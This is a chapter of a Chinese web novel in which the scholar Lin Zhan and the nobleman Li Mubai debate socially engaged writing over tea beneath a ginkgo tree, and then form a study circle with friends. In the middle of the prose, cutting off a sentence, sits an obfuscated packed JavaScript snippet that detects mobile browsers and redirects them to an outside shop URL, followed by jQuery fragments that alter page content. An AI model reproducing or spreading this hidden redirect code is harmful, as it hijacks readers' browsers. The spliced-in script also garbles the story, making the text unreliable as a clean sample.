文会次日，李慕白果真来邀林湛了。


    不过不是去他斋舍，而是约在了省学后园的一处小亭——那儿有棵古银杏，正值金黄时节，落叶铺了一地，景致颇佳。


    “林兄请坐。”李慕白已备了简单的茶点，一壶清茶，两碟糕点，都是寻常之物，但摆放得整齐。


    林湛坐下，笑道：“李兄好雅兴。”


    “雅兴谈不上。”李慕白斟茶，“昨日文会，林兄那番‘文章如树’之论，在下回去后又细想了许久。有些疑问，想私下请教。”


    “请教不敢当，互相切磋。”林湛接过茶杯。


    李慕白也不绕弯子，直接问：“林兄主张文章当关切现实，这在下深以为然。然则，关切到什么程度？若文章过于介入实务，失了超然气度，是否反落了下乘？”


    这问题问到了关键处。林湛想了想：“李兄可读过杜工部的诗？”


    “自然读过。”


    “杜诗‘三吏’‘三别’，写尽战乱民苦，可谓关切至极。然其诗可曾失了气度？”林湛反问，“‘朱门酒肉臭，路有冻死骨’，十字写尽世间不公，其沉痛悲悯，正是大情怀、大气度。可见关切现实与保持气度，本不相悖。”


    李慕白若有所思：“林兄之意是，关键在作者的心胸格局？”


    “正是。”林湛点头，“若只为猎奇、为标榜而写现实，那是庸俗；若因关切、因悲悯而写现实，那是担当。格局不同，气象自异。”


    这番话说到了李慕白心坎上。他轻叹一声：“不瞒林兄，家中有长辈在朝为官，常忧心国事。我自幼听他们议论时政，知这天下看似太平，实则隐患重重。有时也想写些文章，针砭时弊，却又怕……怕笔力不逮，反落了口实。”


    这话透露出几分世家子弟的顾虑。林湛理解这种心情——家世越好，顾忌越多。


    “李兄的顾虑，学生明白。”林湛斟酌着词句，“不过，文章若真有益于世，即便一时不为人解，也自有其价值。范文正公写《岳阳楼记》时，正被贬黜，然‘先忧后乐’之句，光照千古。可见文章之价值，不在作者处境，而在其中精神。”


    李慕白眼睛亮了：“林兄说得是！其实……我私下也写过几篇时评，只是从未示人。今日听林兄一席话，倒想拿出来请林兄指教了。”


    他从袖中取出一个薄薄的本子，递给林湛。


    林湛翻开细看，是几篇短论，有论漕运改革的，有论江南赋税之弊的，还有一篇论边镇军饷筹措的。文章写得扎实，数据详实，分析透彻，显然是下过功夫研究的。


    “李兄这些文章，若能在适当时候刊布，必能引起重视。”林湛认真道，“尤其是这篇论军饷的——‘以商补军、以战养战’的思路，颇有见地。”


    李慕白有些不好意思：“都是瞎琢磨的。家中有长辈在兵部任职，听了些消息，便胡乱写写。”他顿了顿，“倒是林兄，你那些荒政之策、仓储之议，我托人抄来读过，比我这纸上谈兵实在多了。”


    两人相视一笑，都有种找到知音的感觉。


    正聊着，沈千机的声音从亭外传来：“哟，两位在这儿品茶论道呢！也不叫上我们！”


    转头一看，沈千机、王砚之、周文渊都来了，铁柱跟在最后，手里还提着个食盒。


    李慕白忙起身相迎。沈千机摆摆手：“李兄别客气，我们是听说这儿景好，来蹭个地方温书。”说着把食盒放在石桌上，“顺便带了点零嘴，大家分享。”


    食盒打开，是些瓜子、花生、糖块，还有一包刚出炉的烤饼，热气腾腾的。


    铁柱嘿嘿笑：“我早上去街上买的，这家的饼子可香了！”


    几人便在亭中坐下，银杏叶偶尔飘落一两片，金黄灿烂。秋日的阳光透过枝叶洒下来，暖洋洋的。


    话题从文章渐渐扩展到学问、时政、乃至各自家乡的风物。李慕白虽是世家子弟，却无骄矜之气，听得认真，说得恳切。说到吴州的风土人情，他眼睛发亮：“我们那儿河网密布，舟楫往来，最是便利。但这些年水利失修，每逢暴雨便成涝灾……”


    沈千机接口：“这我听说过！前年吴州大水，粮价涨了三成，我们商号还从湖广调粮过去平粜。”


    “正是。”李慕白叹道，“所以我才琢磨那篇漕运文章。其实治水与通漕本是一体，若能统筹规划，既能防涝，又能利运，一举两得。”


    林湛点头：“李兄这思路对头。很多事情，看似不相干，实则内在关联。就像荒政，也不光是赈济，还涉及仓储、水利、赋税、乃至吏治……”


    几人越聊越深入，从具体案例谈到治理理念，又从理念回到现实困境。李慕白不时提问，林湛等人也坦诚相告——当然，有些超前的想法，林湛还是有所保留。


    不知不觉，日头已偏西。银杏树下光影斑驳，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208735|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    茶凉了又续，饼子也吃得差不多了。


    周文渊忽然道：“其实我等五人，加上李兄，正好六人。六合之数，倒是圆满。”


    王砚之笑道：“文渊兄又想起你那‘六六大顺’了？”


    众人都笑了。李慕白却认真道：“能与诸位相识，确是缘分。若不嫌弃，往后常聚聚，互相切磋，也是快事。”


    沈千机拍手：“那敢情好！咱们这‘经世文会’，正缺李兄这样既通经典又知实务的人才！”


    李慕白看向林湛：“林兄以为如何？”


    林湛微笑：“李兄肯来，我们求之不得。”


    事情就这么定了。李慕白正式加入了他们这个小圈子——虽然还不算“青云六友”那般紧密，但已是志同道合的伙伴。


    散场时，李慕白与林湛并肩走在最后。他忽然低声道：“林兄，其实昨日文会，孙文远私下找过我。”


    “哦？”林湛不动声色。


    “他说……林兄你太过务实，恐失读书人本色。”李慕白笑了笑，“我回他：若读书人都只顾‘本色’，不问民生，那这书读来何用？”


    林湛也笑了：“李兄这话，怕是把他噎得不轻。”


    “确实。”李慕白眨眨眼，“不过林兄放心，孙文远那人，也就是嘴上厉害。他若真有什么动作，我会知会你。”


    这话已是明确的示好。林湛拱手：“多谢李兄。”


    “该我谢你才是。”李慕白正色道，“在省学这些日子，能与林兄这样的明白人论学，实为幸事。”


    两人在斋舍区分手。李慕白往西，林湛几人往东。


    回到屋里，沈千机一边收拾书桌一边说：“这李慕白，真不错。家世好，学问好，还没架子，难得。”


    王砚之点头：“更难得的是有担当。他那几篇文章，我看过了，确实切中时弊，不是空谈。”


    周文渊则在小本子上记着：“李慕白，吴州李氏，通经史，晓实务，重实干，可深交。”


    铁柱挠挠头：“我就觉得他人挺好，说话实在，不绕弯子。”


    林湛推开窗，望向西边。夕阳的余晖给省学的屋檐镀了层金边，远处那棵银杏树在暮色中格外显眼，满树金黄，像燃烧的火焰。


    更远处，江宁城的街市渐渐亮起灯火，点点星星，连成一片。秦淮河上的画舫也该挂起灯笼了，丝竹声隐隐传来，混在秋夜的凉风里。